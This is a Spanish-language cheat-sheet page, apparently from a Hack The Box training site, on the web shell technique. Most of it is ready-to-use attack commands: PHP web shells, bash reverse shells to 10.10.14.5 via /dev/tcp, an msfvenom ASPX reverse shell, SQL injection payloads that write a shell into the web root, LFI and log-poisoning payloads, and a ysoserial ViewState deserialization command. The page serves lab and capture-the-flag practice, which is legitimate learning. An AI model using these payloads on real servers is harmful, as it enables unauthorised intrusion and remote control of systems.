Web shell
Subtécnica de T1505 Componente de software de servidor ↗
Dejar un script en el servidor web que ejecuta los comandos que le pasas por HTTP.
Cómo aparece en Hack The Box
En HTB es el resultado típico de una subida de ficheros mal filtrada: una .php (o .phtml, .phar, .aspx) con system($_GET['cmd']) y de ahí a una reverse shell.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Subida de ficheros maliciosos: cómo saltarse los filtros y conseguir una web shell 4 min de lectura Bypass de filtros de subida: extensiones alternativas, Content-Type, magic bytes, .htaccess y web.config, y cómo encontrar el fichero para ejecutarlo.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Generador de reverse shells › Webshells
<?php system($_GET['cmd']); ?>
Úsala con ?cmd=id. Si system está deshabilitada, prueba passthru, shell_exec, exec o popen.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
Payloads de inyección SQL › MySQL
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'-- -
Payloads de inyección SQL › SQLite
'; ATTACH DATABASE '/var/www/html/shell.php' AS p; CREATE TABLE p.t (x text); INSERT INTO p.t (x) VALUES ('<?php system($_GET["cmd"]); ?>');--
LFI, SSTI, inyección de comandos y XXE › LFI
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
Genera una cadena php://filter enorme que, al incluirse, escribe ese código. Herramienta de Synacktiv.
curl -s http://10.10.11.20/ -A '<?php system($_GET["c"]); ?>'
ysoserial › .NET (ysoserial.net, desde Windows)
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.5" --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="CLAVE_DESCIFRADO" --validationalg="SHA1" --validationkey="CLAVE_VALIDACION"
Las claves salen del web.config (por ejemplo, leyéndolo con un LFI).
Ningún comando coincide.